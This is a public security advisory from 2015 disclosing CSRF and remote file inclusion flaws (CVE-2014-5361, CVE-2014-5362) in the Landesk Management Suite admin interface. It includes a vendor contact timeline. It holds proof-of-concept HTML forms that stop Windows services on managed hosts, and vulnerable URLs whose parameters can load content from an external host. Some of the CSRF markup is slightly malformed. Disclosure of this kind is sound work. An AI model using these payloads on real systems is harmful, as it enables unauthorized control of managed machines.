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Date: Thu, 16 Apr 2015 07:49:02 GMT
Subject: [CVE-2014-5361][CVE-2014-5362]Landesk Management Suite RFI & CSRF
 Security Vulnerabilities

Exploit Title: Landesk Management Suite RFI and CSRF vulnerabilities
Product: Landesk Management Suite
Vulnerable Versions: 9.5 (and possible previous versions), 9.6
Tested Version: 9.5
Advisory Publication: 16/04/2015
Latest Update: 16/04/2015
Vulnerability Type: Cross-site request forgery [CWE-352], Remote File Inclusion [CWE-829]
CVE Reference: CVE-2014-5361, CVE-2014-5362
Credit: Alex Haynes

Advisory Details:

(1) Vendor & Product Description


Product & Version:
Landesk Management Suite v9.5

Vendor URL & Download:

Product Description:
"Manage all your users’ multi-platform desktops and mobile devices. Integrate several IT disciplines
into a single management experience that speeds software distribution, ensures software license compliance,
simplifies OS provisioning, saves power costs, provides secure remote control, and manages Mac OS X."

(2) Vulnerability Details:
The admin interface of Landesk Management Suite can be exploited by Remote File Inclusion (RFI) and Cross-site Request forgery (CSRF) attacks.

Proof of concept for CSRF [CVE-2014-5361]:
URL: https://<LANDESK>/remote/serverServices.aspx?cidn=5&d=serverServices&tb=serverInfo_services.tb&gid=groupSW_Services&itemid=SW_Services&UID=SW_Services_SW_ROOT
Attack Pattern: 

Certain functionalities of landesk are vulnerable to cross-site request forgeries, which can be used to force users to, among other things,
manipulate windows services and processes on  host machines. 

Example code below:
<!-- CSRF for Landesk, allowing stop, start or restart of arbitrary services OR processes on host machine -->
<!-- For illustration only, Skype and Adobe Acrobat Update Services are shut down / Replace with any windows service on host machine -->
window.onload = function() {

<form id="csrfForm1" action="https://landesk/remote/serverServices.aspx?cidn=5&d=serverServices&tb=serverInfo_services.tb&gid=groupSW_Services&itemid=SW_Services&UID=SW_Services_SW_ROOT" method="POST" enctype="multipart/form-data" target="csrfIframe1">
      <input type="hidden" name="op" value="stop" />
      <input type="hidden" name="name" value="Adobe Acrobat Update Service" />

<form id="csrfForm2" action="https://landesk/remote/serverServices.aspx?cidn=5&d=serverServices&tb=serverInfo_services.tb&gid=groupSW_Services&itemid=SW_Services&UID=SW_Services_SW_ROOT" method="POST" enctype="multipart/form-data" target="csrfIframe2">
      <input type="hidden" name="op" value="stop" />
      <input type="hidden" name="name" value="Skype Updater" />

<iframe style="display:hidden" height="0" width="0" frameborder="0" name"csrfIframe1"></iframe>	  
<iframe style="display:hidden" height="0" width="0" frameborder="0" name"csrfIframe2"></iframe>

Proof of concept for RFI [CVE-2014-5362]:

There are numerous URLs within the landesk management suite that can be used to call upon remote files due to the use of relative paths.
This can be leveraged to introduce remote file inclusion vulnerabilities as you can present external content through the landesk server.

https://<LANDESK>/ldms/sm_actionfrm.asp?cmd=dir&ht=1&d=//<RFI here>
https://<LANDESK>/remote/frm_coremainfrm.aspx?tb=cust_qry.tb&d=//<RFI here>&bfn=swd_top&node=4&baseType=group1&groupID=1646&groupType=null&ownerID=56
https://<LANDESK>/remote/frm_splitfrm.aspx?top=//<RFI here>&ttb=dirman.tb&ftr=frm_tasktabsfrm&tabf=dirman_tabs&tf=dirman_top&bottom=frm_taskfrm&bbd=SoftwareDistribution/ldaplist&bf=dirlist_bottom&bd=frm_coremainfrm&btb=dirlist.tb&pct=50

Parameter names: "d" & "top"
Parameter Type: GET
Attack Pattern:
The Remote File must finish in .aspx but the extension is not referenced explicitly in the URL. It will be fetched in HTTPS.
d=//<any external URL here>/<filenamehere>(.aspx)

(3) Advisory Timeline:
15/09/2014 - First Contact
23/10/2014 - Request for update on fix. No ETA given.
21/11/2014 - Request for update on fix. No ETA given.
22/12/2014 - Request for update on fix. No ETA given.
22/01/2015 - Request for update on fix. No ETA given.
13/04/2015 - Final request for update and notice of public disclosure given. No ETA for fix.
16/04/2015 - Public disclosure

No fix at this time.

(5) Credits:
Discovered by Alex Haynes


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